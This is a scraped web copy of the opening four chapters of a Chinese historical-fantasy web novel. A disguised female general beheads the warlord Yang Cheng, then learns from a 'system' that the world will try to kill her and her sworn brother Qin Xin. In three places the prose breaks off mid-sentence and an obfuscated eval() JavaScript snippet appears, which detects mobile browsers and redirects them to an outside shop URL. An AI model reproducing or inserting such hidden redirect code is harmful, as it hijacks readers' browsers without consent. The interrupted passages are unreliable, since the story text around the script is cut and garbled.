《死遁后他找疯了》 1. 第 1 章 宣德二十八年,梁州,正午。 阳光普照,秋风飒爽,正是人头落地的好时候。 “杀杨承了!杀杨承了!快去看!” “在哪里?” “澧水旁,白亭边。” 杨承被压跪在高台上,蓬头散发,衣裳破旧,双手被粗绳捆缚在身后。 十几个铁骨军的军士手持刀剑站在他身后左右,明晃晃的日光映在锋利的刀刃上,反射出冰冷寒光,刺得他眼睛生疼,心底发凉。 台下,汹涌的人潮涌过来,伴随着兴奋、激动的高喝和叫唤,把高台围得水泄不通。 执掌梁州多年,他竟从不知,梁州有这么多的人。今日他们仿佛全都来到这里,熙熙攘攘,热闹非凡,观看这一场梁州总督人头落地的盛事。 今日,是他杨承的死期。 人皆有一死,只是——不甘啊! 杨承猛地挺直上半身,目光如淬毒的利箭,直直钉向台下被军士隔开的一块空地。 铁骨军的几个重要首领都站在那里,他的视线死死锁定最中间的一人。 姜六航! ——铁骨军的统帅。 把他的梁州军打得落花流水,溃不成军。 孤身一人、一刀,犹如杀神降世,撕开上百兵士的护卫圈,将他挑下马,彻底破碎他争夺天下,登上至高之位的美梦。 如果不是这个人,他不会败得如此之快,如此之惨。 不!如果没有姜小儿相助秦信,他根本不会败! 叛军杀入京城,宣德帝失踪之后,群雄并起,逐鹿中原。 他手握十万梁州大军,又在民间招募到二十万兵士,实力本是群雄之首。 却不料最是不起眼的和州总督秦信忽然崛起,其精于识人,广纳贤才,更兼有其义弟姜六航武艺高绝,用兵如神,如今竟是把大半江山收入囊中。 眼看秦信即将黄袍加身,君临天下,而他,一世英雄,却落到任人宰割的地步,叫他怎能不恨得心头呕血? 天杀的姜小儿! 他这一生,为何偏偏撞上这样一个克星! 眼中的恨意有如实质,沉沉压向那人。 那人正和身边的武将说着什么,似乎察觉到他的目光,倏然抬头,径直朝台上望来,正好和他四目相对。 空气仿佛凝固了一瞬。 大帅握刀柄的手猛地收紧,脸上的表情瞬间褪得一干二净,直视过来,那眸光如刀、如剑、如冰锥,激得杨承脊背窜起一股寒意。 明明身处高台,比那人高出一截,他却恍惚觉得,自己在仰视着那人——正如那一日,他惊骇欲绝地仰望着那人从马上飞身扑来。 而此刻,他更是屈辱地跪在那人面前。 想至此,杨承心中生起一股强烈的羞恼,面色扭曲地破口大骂:“姜小儿!竖子!你不得好死!日后必遭五雷轰顶、万马践踏、万剑穿心、死无全尸、挫骨扬灰!” 军士们齐声怒喝,把他整个人压伏下去。 他的脸狠狠砸在木板上,犹自挣扎着怒骂。 一团破布塞进他的嘴里,台上终于安静下来。 台下却群情激愤,铺天盖地的骂声响起,“王八蛋”、“老贼”,不绝于耳。 石头、树枝等物纷纷砸向高台,后面的人拼命往前挤。 幸好有足够的军士守着台前的隔离线,人群冲不破防线,不至于引起混乱。 那些扔来的东西也大多还没碰到架台的木桩就已力竭,掉落下来,只有极少数落在奋力挣动的杨承身前。 姜六航冷冷地看着台上挣扎的人影,眸色黑沉。 她从怀里取出一幅两指宽、半米长的素白麻布,动作缓慢而郑重地,一圈一圈缠绕在束起的发髻上。 周边众人都愣愣看着她。 将军这是在干什么? 可是他们不敢出声,更不敢开口问。 他们的这位将军,年仅二十,纵横疆场,杀敌无数,长得却一点也不像凶狠毒辣的杀神。 眉目疏朗,还生着一双男子罕见的杏眼。 性子也好,不拘小节,平日里从不摆将军的架子。 可此刻的将军,浑身散发着凛冽迫人的煞气,那无形的威压带着血腥味扑面而来,令人窒息。 所有人都屏住了呼吸,四周陷入一片死寂。 姜六航对周遭气氛恍如未觉,只专心致志地、近乎虔诚地缠着布条。缠好后,她用力按了按,确定缠牢固了,抬脚向前走去。 迎面过来一群人,二十几个持刀执剑、精悍力壮、浑身散发着剽悍气息的近卫簇拥着中间一人。 此人长着一双凤眸,薄薄的嘴唇,五官深邃。本是俊美得显露出攻击性的长相,但他脸上笑容和煦,身上有一种温润的气质,让人不自觉地信任。 正是铁骨军总督——秦信。 两人迎面相撞,秦信停下脚步,视线极快地在姜六航的装束上转了一圈,眸底掠过一丝细微的波动,随即,那点异样便融化在暖煦的关切之中:“六航。”他的声音温和,带着兄长的亲昵,“怎么了?脸色这般沉。” “没事。”姜六航略微一顿,补充道,“大哥,我去和他说几句话。” 语毕,她纵身而起,几个干净利落的纵跃,身影已稳稳落在高台之上。 台下人群先是一静,随即爆发出山崩海啸般的狂热欢呼。 “将军!将军!” “姜帅!姜帅!” 声浪震天,直冲云霄。 秦信继续前行,首领们围上来。 “总督,将军今天有些异样。” “板着脸,身上一股杀气。” “还穿着白衣裳。将军从来不穿白衣裳的,说不禁脏,容易染血。” “刚刚还在头发上缠了一块白布,活像披麻戴孝……” 一个武将打扮身材魁梧的汉子大咧咧说着,在众人的瞪视中渐渐消音,讪笑着挠了挠腮。 众人虽然一致谴责那武将,心中却不由得都想:“严将军说话不吉利,可将军今日的装束,确确实实像极了为人服丧。” 秦信听着众人言语,嘴角依旧挂着那抹惯常的微笑,修长的手指缓缓摩挲着腰间挂着的匕首把柄。他的目光越过欢呼的人群,落在高台上那抹素白身影上。深沉的凤眸里,仿佛有浓稠暗色在翻涌。 台上,杨承努力仰起脑袋,瞪着面前的人,目眦欲裂,口中“呜呜”作声。 姜六航垂目俯视着他,过了好一会,才沉声道:“放开他。” 杨承甫一得自由,立刻跃身而起,一头撞向姜六航。 “啪!”一声令人牙酸的脆响。 姜六航手腕一翻,沉重的刀鞘击在杨承的膝盖。剧痛瞬间麻痹了杨承的半条腿,身形一滞。刀鞘顺势上抬,带着千钧之力拍在他的左肩胛骨上。一股大力袭来,杨承身不由己地重重跪回原地。 刀鞘带着山岳般的重量压在他的肩头,令他动弹不得。 霹雳刀! 一把名刀,因姜六航而成名,如今俨然已是天下第一刀。 拿着这把刀,姜六航从南杀到北,从东杀到西,横扫天下,未遇敌手。 此时,刀未出鞘。 古朴的重木刀鞘,刀柄末端那颗狰狞的狼头图案在日光下泛着幽光。 姜六航看似并未使多大力气,膀阔腰圆的杨承却被这刀鞘压得如同被钉在地上,毫无挣扎的余地。 “杨、承!”姜六航一字一顿,语音寒冽如冰。 台上的十几名百战老兵,此刻也觉一股寒意自脚底窜起,颈后汗毛倒竖,仿佛置身于修罗战场,杀机四伏。 在姜六航开口之时,台下汹涌的声浪瞬间平息下去,偌大的刑场鸦雀无声,只有她清冷的声音回荡。 “今日杀你,是为你三宗罪!” 台上的军士们疑惑地互望。 他们安排有行刑之前宣布罪状的人,将军怎么来抢活了? “其一,你为一己之私,滥杀无辜!” “只因不肯归顺你,为你歌功颂德,被你杀害的文士儒生数不胜数!” “云山居士姜允、柳溪居士徐真、金陵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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姜六航没再给他机会,倾身过去,道:“铁骨军杀你,是为你三宗罪。可我姜六航今日亲手斩你,却是为报父母杀身血仇!” 这话说的声音很低,只有杨承和靠近的两个军士听到。 杨承惊骇地睁大眼。 两个军士嚯地抬头,看向自家将军。 少年姜六航横空出世,无亲无故,来历成谜。 世人皆道姜帅是石头缝里蹦出来的杀星。 却原来,将军的父母竟是死于杨承这老贼之手? 对上杨承惊骇的眼神,姜六航心中涌起大仇将报的快意,转而又被更汹涌的悲伤淹没。 上辈子两岁的时候父母就过逝了,她时常羡慕别的小孩有父母疼爱。 穿越到这个世界后,她也有了疼爱自己的父母。 那样好的爹娘,却惨死在杨承刀下。 改换名姓,掩藏女儿身份,投入大哥军下。 数年艰辛惊险,尸山血海里趟过来,今天终于得报大仇! 她缓缓举起手中的霹雳刀。 寒光映入杨承眼眸。 趁按住他的军士心神震动的刹那,杨承突然暴起,口中布团不知怎的被扯飞。 “哈哈哈哈哈!”疯狂的大笑带着无尽怨毒,他声嘶力竭地诅咒,“姜小儿!你以为,你会有什么好结果吗?你立下不世之功,天下无人不知你姜帅,哪个主君容得?你在军中的威望越高,死得越快、死得越惨!哈哈哈哈哈!老子先走一步,在地底下等着你,你可千万别让我等太久啊!” 疯狂的笑声如同尖刀,狠狠扎进每个人的耳膜,站在那儿的几个铁骨军首领面色都很是难看。 秦信手指曲动,凤眸里墨色愈暗。 霹雳刀直劈而下! 笑声嘎然而止。 头颅猛地飞起,杨承双目圆瞪,视线里划过台上持刀挺立的白衣将军,台下无数拍手称快的男女老少,脑中闪过一丝悔意:“若当年没有杀死姜小儿的父母,他是不是就不会和我做对?这江山,是不是就会……”很快,所有的意识消失,陷入虚无。 断颈处,滚烫的鲜血如喷泉般激射而出。 漫天血雾喷起时,姜六航听到脑海里一声清脆的电子音:“叮——,人口普查999号系统已绑定。” 2. 第 2 章 电子音过后,响起了一个小女孩欢快的童音。 “啦啦啦——啦啦啦——,统来啦!宿主,高不高兴?惊不惊喜?意外不意外?” 姜六航:“……” 这是,系统? 姜六航面不改色,只当没听见脑海里的声音,把挥出的刀收回。 杨承的头颅向后滚去,身躯重重倒下,血流了满地。 刀尖垂下,血顺着宽大厚重的刀身一滴滴落到地上,很快就汇聚了一小滩血泊。 “啊啊啊!杀人啦!谁杀的?杀的谁?” 那童音惊慌失错地叫喊。 姜六航记得,小说里的系统一般都能和宿主意识交流。 她试探着在脑海里问道:“你……是什么东西?” “宿主,统不是东西。” 童音委屈巴巴道:“统是人口普查999号系统,今年七岁啦。按照规定,八岁以下的系统受到法律保护,遇到血腥场面,可以启动打码设置。怎么本统一来就遇到杀人场面呢?呜呜呜……” “找到了,打码打码!呼——,好了好了,看不到了。” 姜六航心中警铃大作:“我脑子里想什么你都能知道?” 看小说时不觉得什么,真正落到自己身上,只觉毛骨悚然。 “不能的。”999义正言辞道,“我们可是正规的、守法的系统,严格保护宿主的隐私。只有宿主意识里想要和我们对话,我们才能听到。” 姜六航微微松了口气。 不过这话真假还需验证。 意识交流不过是转瞬间,和999说了这么多话,军士们才刚刚把杨承的尸首抬走。 尸首要在城墙上悬挂三日,以儆效尤。 姜六航接过军士递来的布,仔细地擦拭刀身,擦干净后收刀回鞘,转目望去。 杨承已斩,民众们在慢慢散开。 那块空地上,原先站在那里的几个首领都已离开。 如今正是战事关键的时候,每个人都忙得不可开交。今天都抽时间来这里观刑,一是杨承引起的民愤太大,所以特意公开处刑,铁骨军首领齐聚,以示郑重。二是杨承是铁骨军最大的对手,他被斩具有重大意义。 这时事情已毕,首领们都赶着去做自己的事了。 可偏偏最应该忙碌的那个人还站在那里,正往她这里张望。 姜六航心里一暖,冲那边摆摆手,示意无事。 秦信见状,笑了一笑,转身离开。 他身高腿长,看上去步履从容,其实走得很快。或许是这两天要做的事格外多,姜六航觉得,大哥走路的速度比往日更快,近卫们簇拥着他,一会儿就不见了踪影。 姜六航走下高台。 999在她脑子里噼里啪啦地说话。 “宿主,只要你在主角夺取江山,平息战乱后统计出全国的人口数目,你就可以回家啦,回到你被车撞之前三分钟的那个节点。” 姜六航平静地问:“主角是谁?” 意料之外的问话让999懵逼:“啊?” 姜六航:“是我吗?” 999卡顿两秒才回道:“……不是。” 姜六航无比惊讶:“居然不是我!” 999:“……” “那主角是谁?”姜六航又问。 999无语凝噎:你最该关心的,难道不应该是如何完成任务吗? “是杨承。” 姜六航:“……” 察觉到宿主的沉默,999想着,宿主大约是不清楚杨承这个人,正要给宿主介绍,却听宿主道:“你们系统挑人的眼光实在不怎么样,天下那么多人,偏要挑一个残暴酷虐,毫无仁心的畜生来当主角。” 999震惊了。 宿主怎么突然口出恶言? 而且宿主对系统的误会很深。 “宿主,杨承不是我们挑的,这个世界是真实的历史,这个世界的历史就是杨承推翻吴朝,建立魏朝。” “历史?”姜六航沉吟,缓缓道,“这样啊。历史能改变吗?” 999斩钉截铁:“既然是历史,当然改变不了。” 姜六航扬眉:“那如果我现在杀了一个这时本不该死的人,不就改变了吗?” 999瑟瑟发抖:“宿主你为什么想要杀人?……宿主你是外来者,你的存在可能会改变一些无关紧要的小事件,但绝不能改变一个人的生死。那需要很大的力量,没有哪个人能做到,在那过程中,世界会设法阻挠,使之回到原本的轨道。” 姜六航来了兴致:“回到原本轨道?世界能使死人复活?它能大变活人?” 999:“……?” 姜六航:“杨承已经被我杀了。” 999:“???” 姜六航:“就你来的时候,那个身首分家的就是杨承,我杀的他。” 999:“!!!” 姜六航眼眸明亮:“世界什么时候复活他?能不能提前通知我?我要看个现场。” 然后当场再给他一刀。 “啊啊啊!怎么可能?” “主角死了,这个世界会不会崩掉?” “呜呜呜,不要不要,第一次任务是最简单的,要是这都没完成,会记大过的。” “怎么办?怎么办?” 随着999崩溃的大喊大叫,中间时而有电流声响起——滋滋滋……滋滋滋…… 姜六航揉着眉心:“闭嘴。” 霎时,脑海里所有的声音都消失了。 姜六航:“……” 是听了她的话,不再出声? 还是因为她下令,被禁了言,不能出声? —— 此后直到下午,999都没出声。 从刑场回到城外军营的期间,姜六航遇到三次意外。 一次是她牵着爱马赤云,带着她的两个近卫走到一栋三层高的酒楼下时,一块磨刀石从上而下,落在她快速避开的位置,巨大的冲力把地面砸了一个坑。 姜六航的两个近卫,一个叫沈以贵,机敏善变,一个叫石进,忠正憨直。 沈以贵当即叫来街上一个巡逻的军士,让军士去禀报谢执法。 意外倒罢,若是蓄意,不能放过。 如果有问题,谢执法自会查个水落石出。 第二次是途中,姜六航经过一辆马车时,那车突然炸开。 木料纷飞,火星飞溅,拉车的马哀鸣倒地。 若不是赤云神骏,瞬间掠出三丈开外,姜六航就和那马一样下场。 过后询问,马车里装的是炮竹,准备拉到临县去卖。马车的主人是本地商旅,做这生意也不是一天两天了。 看起来也是意外。 姜六航坐于马上,抬头望向不知何时变得灰蒙蒙、仿佛即将降下一场大雨的天空,若有所思。 第三次,发生在军营里,当一匹失控的战马疯狂朝她冲来时,姜六航心中发出一声“果然如此”的哼笑。 她闪电般出手,扣住马笼头,硬生生凭借充沛内力,将那失控的烈马勒停在原地。 周围军士轰然喝彩。 —— 将近午时,姜六航回到自己军帐。 刚才和军士们训练,出了些汗,她洗浴过后换上了一件衣裳。 是一件圆领窄袖的蓝色武服。 她所有的衣裳都是大哥一手准备……除了今天穿的白衣,以及藏在床头暗柜的一件准备后天晚上穿的黑色夜行衣,是她偷偷买的。 不但衣裳,这军帐里的一桌一椅,一床一柜,角落里燃着的香料,甚至面盆毛巾……全都是大哥一件件为她安置妥当。 大哥好像把她当成了一个生活上不能自理的小孩,无微不至地照顾她,饮食冷暖、穿戴用具,事事过问。 有时她甚至生出一种错觉,大哥恨不得亲手将饭喂到她嘴里。 姜六航由开始的不好意思,到如今,已经能坦然受之。 上辈子和这辈子都没有兄弟姐妹,却在这个结义大哥身上,她感受到了那种厚重的兄长爱护。 午时已到,大哥还没来,姜六航略觉奇怪。 只要两人同在一处,且不是战时紧急到无法顾及,大哥不管多忙,总要抽出时间和她一起吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是啊,统也是有统权的,不能随便剥夺统说话的权利。”999说了一句,回过神,转回被宿主带偏的话题,“宿主,统刚才和上级联系了,他们说,主角被杀,导致这个历史世界出现了巨大的扰动!而你是世界现在欲要抹杀的两人之一,你……” 姜六航打断:“还有一人是谁?” 999再次被带偏:“是秦信。” 姜六航瞳孔骤然收缩。 竟然是大哥! 这段时间,大哥是否也遇到了意外?此时可安好? 帐外,倾盆暴雨简直像是从天上直接倾倒下来,密集的雨点疯狂地砸在地上、帐篷顶上,发出轰鸣,如同无数面巨鼓在耳边疯狂擂动,一下下,沉重地敲在姜六航心上。 她握紧霹雳刀柄,脑中急速思索。 从她遭遇的三次意外来看,世界并不能直接抹杀生命,只能用些毫无新意的重复手段,借助外部条件制造“合理”的杀局。 世界会给大哥埋下怎样的杀局? 大哥身边近卫众多,个个身手了得,在危急时刻,他们会毫不犹豫地以命护住大哥。一般的杀局,奈何不了大哥。 外部条件…… 散尘关! 攻打梁州府城之前,她对周围地形都进行了详细调查,这时猛然记起,去散尘关的必经之路上,有一段狭窄的山路。那里土质松软,植被稀疏,是出了名的泥石流多发地段。 大哥说申时初回到军营,算时辰,此刻正该从散尘关返回,不久就将行至那条山路。 若是大哥在这样的暴雨中经过那里,在世界意志的指引下,发生泥石流的概率只怕会陡然提高数倍! 姜六航霍地站起! “将军!发生何事?”被姜六航突如其来的动作惊到,谢思礼愕然问。 “总督有危险!” 五字落,姜六航已跑到军帐门口,左手取下墙上挂着的铜制号角,同时右手一拉,已将门边木架上放着的雨衣扯下,手臂一扬,将雨衣展开披到身上。旋即,她猛地掀开帐帘,一头冲到外面。 帐帘猛烈晃动,冰冷的雨水裹挟着狂风瞬间灌入。 谢思礼紧跟着跨出门口,只见到将军的背影,在如注的暴雨中转瞬即逝。 3. 第 3 章 “驾!驾!驾!” 暴雨中,姜六航心急如焚,紧夹马腹,连连挥鞭,催促赤云急行。 雨水“噼噼啪啪”如急促的鼓点敲打在地面上,激起一片烟雾,将周遭景物笼罩。 姜六航抬眼望去,天地间一片混沌,模模糊糊看不真切。 她肩背绷紧,紧贴马颈,雨水顺着她低垂的帽檐汇成细流,又滴落在赤云额头的眉革上。 雨太大了! 赤云的速度不可避免地慢下来。 来不及了! 姜六航心越缩越紧。 她的眼前不由得浮现出恐怖的画面:浑浊的泥流裹挟着巨石和断木,轰然冲下,瞬间将山道上的人马彻底吞没,大哥奋力挣扎,却转瞬消失在泥流中。 不! 她没护住爹娘,又怎能眼睁睁地看着这世上又一亲人陷入绝境? 她不允许! 姜六航咬牙,又挥了一鞭。 快点!再快点! 终于,一人一马冲到了山道入口。 姜六航急切地朝山道望去。 没被淹! 她浑身松懈下来,像急行军数里后后停下,但紧接着,她身子又绷紧。 山头上流下的水不再清澈,而是浑浊的,裹挟着大量泥沙碎石和树干,而且流得很急,直冲而下。 泥石流随时可能爆发! 姜六航勒住赤云,翻身下马,举起铜号角,深吸一口气,将号嘴放到唇边,用力吹响。 “嘟、嘟、嘟——”急促的号角声响起,在雨幕中远远传开。 吹三下,停一下。 这是铁骨军的信号:危险!速退! 大哥,千万不要走上山道! 姜六航不知脸上流淌的是雨水还是汗水,她一遍又一遍地吹着。 不知吹了多久,忽然,“轰隆隆——!” 一声惊天动地的巨响骤然爆发,整个山体都在剧烈颤抖。 姜六航霍然抬头,只见高处的山体瞬间崩塌,泥浆、巨石、折断的树木混杂在一起,形成一道毁灭一切的洪流,以摧枯拉朽之势,排山倒海般向着山道猛扑下来!所过之处,一切都被瞬间吞噬、掩埋! 姜六航向侧面跃开,泥石流紧贴着她刚才站立的位置,汹涌奔腾而过。 泥石流终于爆发了。 大哥呢?在哪里? 姜六航死死盯向那奔涌的泥流,视线疯狂地在其中搜寻。 既怕找到,又怕找不到。 里面每一次现出疑似人形的物件,都让她心惊肉跳。 时间一点点过去,她全身冰凉,心底生出的寒意似乎把整个人都冻住了,连抬一下手都艰难。恍惚间,她似乎又回到了看到爹娘尸首的那日,血气在体内翻涌,眼前一阵阵发黑。 “六航!” 突然,一声无比熟悉的呼喊传来。 是……大哥的声音! 姜六航蓦地转头。 前方不远处,三十余骑在暴雨中疾驰而来。马蹄踏在泥泞中,溅起大片大片的水雾。泥石流几乎是擦着他们队伍的边缘过去。 转瞬之间,这队人马已冲到姜六航近前。为首一人飞身下马,几步跨到她面前,一把抓住她的胳膊。 那张常年温润如玉、带着和煦笑意的脸庞此刻阴沉得如同暴风雨前的天空,狭长凤眸里燃着熊熊怒火,声音又大又急:“六航!你不要命了?怎么敢站在这儿!” “大哥。”姜六航仰起脸,轻轻唤道。 真好。 大哥活生生地在这里。 模糊的视线中,面前人死死盯着她,咬牙切齿:“你不知道这里多危险吗?若是被裹进泥流,纵使你武功高强,也……” 面色那样凶恶,声音那么严厉,抓着她胳膊的手用力到她感觉疼痛,可是,那手在细微地颤抖。她看进面前人的眼,那里涌动着愤怒,可更深处,她看见了害怕。 “大哥,我没事。”姜六航抬起另一只没被抓住的手,按到抓着她胳膊的手背上,带着安抚,“我事先看好了位置,肯定能及时躲开。” 可这句话并没熄灭面前人的怒火,反而像火上浇油,他几乎是吼着道:“天威之下,哪能确保万全?万一……” 声音穿透雨雾,震响在耳边。 近卫们面面相觑。 他们第一次见到总督对将军这样疾言厉色。 几人偷偷交换着眼神,其中一个用手肘使劲捅了捅他们的头领,眼神示意:头儿,快劝劝啊! 冯简岿然不动。 总督最多就是嘴上吼吼,打不起来。 再说,就算动手,以总督的武功……咳,也根本打不着将军。 姜六航的手微微收拢,横握住怒吼之人的手背,深深看着他:“大哥,你也知道这里危险,又为什么回来?” 秦信未完的话嘎然而止。 “你听见号角声,知道我在这里,担心我遇到危险,才掉头回来,对不对?” 她吹的号角经过精心改良,音质有所不同,声音也比一般的号角响亮,传出更远。整个铁骨军,独此一支,为她专用,在战场上传达将军命令。 姜六航握住这人的手摇了摇:“大哥,别气了。我和你一样,因为担心,才在这里呀!” 秦信脸上的表情顿住,目光定在义弟湿漉漉的脸上,抿住了唇。 半晌,他眼中翻腾的怒火像被雨水浇入,黯淡下来。 “这么大的雨,也不知道躲躲。”他抬起另一只手,用指腹擦了擦姜六航的脸,抹去上面沾着的泥土,克制地低声道,“看淋成什么样子了。” —— 众人策马往军营去。 路上,姜六航弄清了这群人为何会提前返回。 原来,大哥今天也遇到了两起夺命的意外,心中起了疑虑。听身边擅识天气的近卫说马上有一场大雨,立刻想到此地的特殊地形,召来熟悉当地情况的人询问,得知此段山路正是泥石流多发之地,丝毫没有犹豫,紧急调动人手,以最高效率处理完后续事宜,得以提前脱身。 他们通过山道不久,雨就下来了,于是在附近寻到一间山神庙暂避,打算等雨稍小些再赶路。 不想就听见了她吹号角。 后面的事情就是这样了。 反正衣裳已经湿透,也不需再避雨,众人直接往军营去。 姜六航听完,由衷夸赞道:“大哥你真警觉!” 大哥对主角、世界意志这一切一无所知,却能精准地察觉到危险。 秦信握紧缰绳,眸色发暗,声音被雨声冲刷得有些模糊:“遇到的事情多了,自然凡事都习惯往最坏处想。” 近两年,尤其是最近几个月,身边意外频发,仿佛老天在故意和他做对。 若不是近卫们机警,拼死相护,他早不知死了多少回。 恐怕义弟担心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659686|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在战场上分神,他严令不许人告诉义弟。 姜六航不知这些情况,马背上,她腾出精神问话。 “999,世界为何要抹杀我大哥?” “宿主,他是反派啊!” 姜六航:“……” 是她没想到的。 她先前一直猜测,以大哥出众的能力,十有八九是男主朝廷里的重臣,心里憋闷得慌。 现在,心口的气一下子就顺了。 “他为何是反派?做了什么?”姜六航追问。 “他醉心权势,不择手段,杀兄弑父上位,阻碍主角统一天下,一直和主角抗衡了三十年,是此世界最大、蹦跶得最久的反派!”999慷慨激昂。 “杀兄弑父?”姜六航一哂,“史书上写的?” 她不知具体细节,但可以确定,大哥的父兄是被土匪杀死的,和大哥没半点关系。 999:“对!秦信谋害亲兄、弑父夺权的事,史书上有记载。” 姜六航心中冷笑。 杨承残暴嗜杀,却是这世界的主角。大哥旷世逸才,又体恤百姓,却言之凿凿,把恶名强加给他。 “哦,对了,反派不光杀兄杀父,还杀了他二叔、堂弟。”999道。 二叔?裴祥光? 姜六航有些意外。 裴祥光裴大人现在还活得好好的,是大哥的得力帮手。 不过有杀兄弑父的前言,她对大哥杀裴大人的真实性保持怀疑态度。 “我大哥后来结局怎样?”她问。 “反派的结局当然不好了。”999道,“他治地、治民的能力都不错……嗯,可以说是出类拔萃,世上少有。但他势力没杨承大,抵抗不住杨承的大军,后来败守和州七宝县一个月后,杨承大军攻入,他在房间里放了一把火,自己烧死了。” 姜六航的心猛地一沉,如同被一只冰冷的手攥住,又凉又疼,声音发紧:“他的妻子、儿女、孙儿孙女外孙外孙女呢?也跟着烧死了?” 999:“他没娶妻,也没后代。” 姜六航沉默地策马前行,雨水流入眼眶,刺得眼睛发涩,连心底也带上了涩然的苦味。 她眨了眨眼,转回到最开始的问题:“是反派就要抹杀?哪个世界没有反派?也没见都杀掉。” “秦信不是普通反派。主角意外死亡,必须重新出来一个主角,世界才能稳定。以他如今的势力,最有可能成为新的主角。可是他是反派,不能做主角。” 所以世界要消除这个隐患。 姜六航:“抹杀会一直进行,到他死为止?” 一日能防,一月、一年、三年五年呢? 人总有松懈之时,危险无处不在,总有一次会中招。 她为父母报仇,即使因此而死,也绝不后悔。 可大哥……大哥却是因她改变了历史,才被世界意志追杀。历史上,大哥本还可再活几十年,是她连累了他! 999:“也不是,只要大局稳定,世界再无法扭转,抹杀就会停止。” 大局稳定?无法扭转? 姜六航眼睛倏地一亮。 既然如此,那就早日夺下天下! 她侧过头,目光灼灼地望向身旁策马同行的人。 那人脸上重新挂上了温润的笑容,察觉到她的注视,回望她,眼中含着温和的询问。 “没事!”姜六航笑着扬鞭。 4. 第 4 章 没走出多远,他们遇上了从军营来接应的数千军士。 严回将军带队,裴祥光大人随行。 严回见到总督无恙,大喜,道:“谢执法急急忙忙找到我,说总督有危险,可把我吓了一大跳。幸好没事!” 秦信向他颔首:“辛苦严将军。” 裴祥光几乎是连滚带爬地下了马,不顾脚下泥泞,踉跄着扑到秦信马前,仰起的脸上布满焦灼:“总督!你没事吧?到底出了什么事?可有受伤?” 姜六航在一旁看着他毫不作假的关切、担忧,那份发自肺腑的焦急做不得伪,越发觉得,史书所载大哥杀了裴大人,其中只怕有偏差。 姜六航的两个近卫也来了,满是自责:“将军,我们来迟了。” 姜六航不在意地道:“不怪你们,是我走得太急。” —— 回到军营,石进提来满满一大桶热水,然后退出去,和沈以贵像两尊门神般守在军帐外。姜六航舒舒服服地洗了个澡,换上干净清爽的衣裳,整个人都松快了不少。 不一会,秦信来了。 他也洗浴过,月白的袍子衬得他眉目愈发俊美,手里端着一个盘子。 是烤鸡! 烤得金黄焦脆,浓烈的香气充斥在帐篷内。 秦信把盘子放到小饭桌上,姜六航喜滋滋地过去坐下,连珠炮地问:“大哥你在哪里抓到的鸡子?军营里不能烤鸡,你躲在哪里烤的?什么时候烤的?” 秦信唇角噙着一丝纵容,嗓音轻缓:“回来经过那条山道,顺手射的。躲雨时闲着,便烤了。刚热过。” 姜六航:“……” 她那时心急如焚,大哥却在悠闲地猎野鸡、烤野鸡。 有些郁闷。 不过,这鸡是烤给她吃的!如此转念一想,姜六航又释然了。 秦信拿着匕首,把鸡子切成一块块,放到桌上的碟子里,推过来:“吃吧。” 说着又继续去切鸡子。 姜六航迫不及待夹起一块塞进嘴里。 好吃! 大哥的手艺真好! 每次吃烤鸡,只要大哥在面前,总会把鸡子切好,送到她面前。 姜六航边吃着鸡子,目光不由自主地胶着在那切着鸡子的一双手上。 那双手指节修长,削切的动作看上去不急不徐,可实际上极快。转眼间,又一碟子切得整整齐齐的鸡块被推到她面前。 大哥做事一向如此,沉稳、利落、有章法,眼光更是精准毒辣。 无论是千头万绪的军队后勤补给,纷繁复杂的人员调度,还是地方上盘根错节的治理难题,乃至各种规章制度的制定推行……所有在旁人做来焦头烂额的事务,到了他的手里,总能被他有条不紊地一一解决。 正心里想着有的没的,面前人忽然抬眸,直直撞入她的眼里:“看什么?” 姜六航掩饰地咳了一声:“……看你的匕首。” 匕首刃长尺许,银白色的刀身反射着冰冷寒光,锋芒毕露。刀刃轻轻一划,就削下一块不厚不薄一口正好的鸡肉。 乌木制成的刀鞘被随意地放在一旁,木质温润,上面用细如发丝的金线镶嵌出繁复而古朴的花纹。 是一把优雅的杀敌利器。 姜六航想了想:“大哥,这把匕首从我送给你,已经带在身上快五年了吧?” “四年零六个月。”秦信指尖轻抚过刀身,声音低沉,“我们结义前三日,你从敌将的尸身上扒下来,送给我防身。” 姜六航笑道:“防身?我只看见大哥你拿它削肉了。” 粗略一算,大哥用这把匕首给她削了将近两百只鸡。 面前人眉梢微扬,烛火在他眼底跳跃,漾开一片细碎的星芒,那笑意瞬间点亮他英俊的眉眼,连带着整个军帐都亮堂了几分。 姜六航呼吸一窒,忘了咀嚼。 “不好么?”秦信轻声问,尾音带着一丝喑哑。 姜六航心尖一颤,慌忙别开脸。 这样温柔的美色,哪个抵受得住? 幸亏自己和大哥是结义兄……妹,若是别个女子,可不要立刻沦陷了? “好!当然好!”她高声道,“你身边那么多近卫,若是要你亲自拿匕首杀敌,必定是情形万分危急,我只愿永远没有那样的时候!你一辈子都只拿这匕首削削肉,切切鸡,挺好的!” 秦信熟练地用匕首把最后一点骨架拆开,放到碟子里。 “慢点吃,吃急了对肠胃不好。” “大哥你也吃!” “好。” 两人分食完了一只烤鸡,当然,绝大部分都进了姜六航的肚子,另外一人只是象征性地尝了几块。 说了一会话,转眼到了戌时,秦信准备起身告辞,目光不经意地顿住。姜六航跟着他的目光看过去,却是门边木架上杀杨承时所穿的那套白色衣裳。她沐浴时换下来,还没来得及处理。 耳边传来迟疑的轻问:“六航,你父母,与那杨承,可是有旧怨?” 